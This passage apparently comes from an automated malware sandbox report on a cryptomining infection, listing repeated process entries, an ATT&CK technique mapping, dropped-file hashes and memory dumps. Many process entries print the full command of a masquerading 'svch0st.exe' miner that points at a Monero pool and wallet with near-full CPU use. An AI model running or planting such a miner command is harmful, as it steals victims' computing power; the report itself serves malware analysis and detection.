        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        311⤵
        
        PID:33608
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        312⤵
        
        PID:33740
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        313⤵
        
        PID:33204
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        314⤵
        
        PID:33852
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        315⤵
        
        PID:33956
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        316⤵
        
        PID:34044
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        317⤵
        
        PID:34152
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        318⤵
        
        PID:34260
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        319⤵
        
        PID:34344
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        320⤵
        
        PID:34452
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        321⤵
        
        PID:34552
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        322⤵
        
        PID:34672
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        323⤵
        
        PID:34780
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        324⤵
        
        PID:34712
        
        C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe" --algorithm randomx --pool pool.supportxmr.com:3333 --wallet 89V3sDoLBK2PL5Sj3UZXNYBWbF7JSzz8kWHWJ2AukBM3CioABmuDGYj56auRmQ1eifjSbNHe3sdmm2DwNqA7nPrTKwrgViM --password x --cpu-threads 95 --background
        325⤵
        
        PID:34904

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_ygsdoult.nbp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ygsdoult.nbp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

svch0st.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\svch0st.exe
Size 7KB
SHA256 ad72e6bd79a8f54d4de8327a75e575c08a8681914bdfcbe52c74df895780bbd0
MD5 1af62005da112e58ee7bc7eb8523937d
SHA1 4d84444ee2247e5b877f568e88d48b9777a8d893
SHA512 79a0443af78d3d20c5afe77ceae189b5b76ea90303bea7936ea6f83009d8b913a3bc0502c08318b79474deefb715a9f165310b4906aaf530dee5227d3453a77c
SSDEEP 96:CwVJcMyjEomPDo9USVgISmo/ilzvTH715FZPpjivh2fu/dB6k+Y9ozNt:C8JcMeEom7Nbt6pb1P6vh+u/+k19q
TLSH
T117E1E916D7E84732ED770A30BDF1A311173AF611AD678FAE2585600F2D2A7550922F72
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/244-130-0x0000024CEA080000-0x0000024CEA16A000-memory.dmp

Download

memory/1148-117-0x00000178508A0000-0x000001785098A000-memory.dmp

Download

memory/1564-118-0x0000027EA5920000-0x0000027EA5A0A000-memory.dmp

Download

memory/1776-122-0x000001FCE5020000-0x000001FCE510A000-memory.dmp

Download

memory/1992-119-0x0000021333170000-0x000002133325A000-memory.dmp

Download

memory/2120-123-0x0000026C3C9A0000-0x0000026C3CA8A000-memory.dmp

Download

memory/2440-129-0x000001B454E20000-0x000001B454F0A000-memory.dmp

Download

memory/3052-125-0x000002A753C90000-0x000002A753D7A000-memory.dmp

Download

memory/3420-109-0x00000185FC3D0000-0x00000185FC4BA000-memory.dmp

Download

memory/3660-126-0x00000227CDAD0000-0x00000227CDBBA000-memory.dmp

Download

memory/3820-112-0x0000024339A30000-0x0000024339B1A000-memory.dmp

Download

memory/3884-105-0x00000155A8AB0000-0x00000155A8B9A000-memory.dmp

Download

memory/4340-116-0x000001939A260000-0x000001939A34A000-memory.dmp

Download

memory/4396-114-0x000002A630BF0000-0x000002A630CDA000-memory.dmp

Download

memory/4628-103-0x00000163832C0000-0x00000163833AA000-memory.dmp

Download

memory/4888-120-0x000001C426420000-0x000001C42650A000-memory.dmp

Download

memory/4948-108-0x0000018F21DC0000-0x0000018F21EAA000-memory.dmp

Download

memory/4956-106-0x00000269B8490000-0x00000269B857A000-memory.dmp

Download

memory/5188-115-0x0000022C37170000-0x0000022C3725A000-memory.dmp

Download

memory/5200-104-0x0000027FFFDD0000-0x0000027FFFEBA000-memory.dmp

Download

memory/5240-107-0x000001CCD0C60000-0x000001CCD0D4A000-memory.dmp

Download

memory/5280-127-0x00000236624B0000-0x000002366259A000-memory.dmp

Download

memory/5308-132-0x0000018E3C6A0000-0x0000018E3C78A000-memory.dmp

Download

memory/5312-128-0x0000028544AD0000-0x0000028544BBA000-memory.dmp

Download

memory/5408-111-0x0000022E11D80000-0x0000022E11E6A000-memory.dmp

Download

memory/5444-133-0x00000199A02B0000-0x00000199A039A000-memory.dmp

Download

memory/5532-9-0x00000123D12F0000-0x00000123D1300000-memory.dmp

Download

memory/5532-2-0x00000123D1230000-0x00000123D1252000-memory.dmp

Download

memory/5532-94-0x00000123D12F0000-0x00000123D1300000-memory.dmp

Download

memory/5532-101-0x00000123B8BD0000-0x00000123B8BE2000-memory.dmp

Download

memory/5532-100-0x00000123D1300000-0x00000123D13EA000-memory.dmp

Download

memory/5532-1-0x00000123D12F0000-0x00000123D1300000-memory.dmp

Download

memory/5532-0-0x00000123D12F0000-0x00000123D1300000-memory.dmp

Download

memory/5544-131-0x0000013D03000000-0x0000013D030EA000-memory.dmp

Download

memory/5588-102-0x000002BCF7080000-0x000002BCF716A000-memory.dmp

Download

memory/5588-29-0x000002BCDCC00000-0x000002BCDCC06000-memory.dmp

Download

memory/5748-121-0x0000021AB1690000-0x0000021AB177A000-memory.dmp

Download

memory/5948-113-0x000002301A120000-0x000002301A20A000-memory.dmp

Download

memory/5956-41-0x000001CAB5780000-0x000001CAB5CA8000-memory.dmp

Download

memory/5956-11-0x000001CAB46C0000-0x000001CAB46D0000-memory.dmp

Download

memory/5956-39-0x000001CAB5080000-0x000001CAB5242000-memory.dmp

Download

memory/5956-10-0x000001CAB46C0000-0x000001CAB46D0000-memory.dmp

Download

memory/5956-98-0x000001CA9C0E0000-0x000001CA9C0F2000-memory.dmp

Download

memory/5956-97-0x000001CAB47D0000-0x000001CAB48BA000-memory.dmp

Download

memory/5992-110-0x0000014A3AD30000-0x0000014A3AE1A000-memory.dmp

Download

memory/6044-124-0x000001E8FA790000-0x000001E8FA87A000-memory.dmp

Download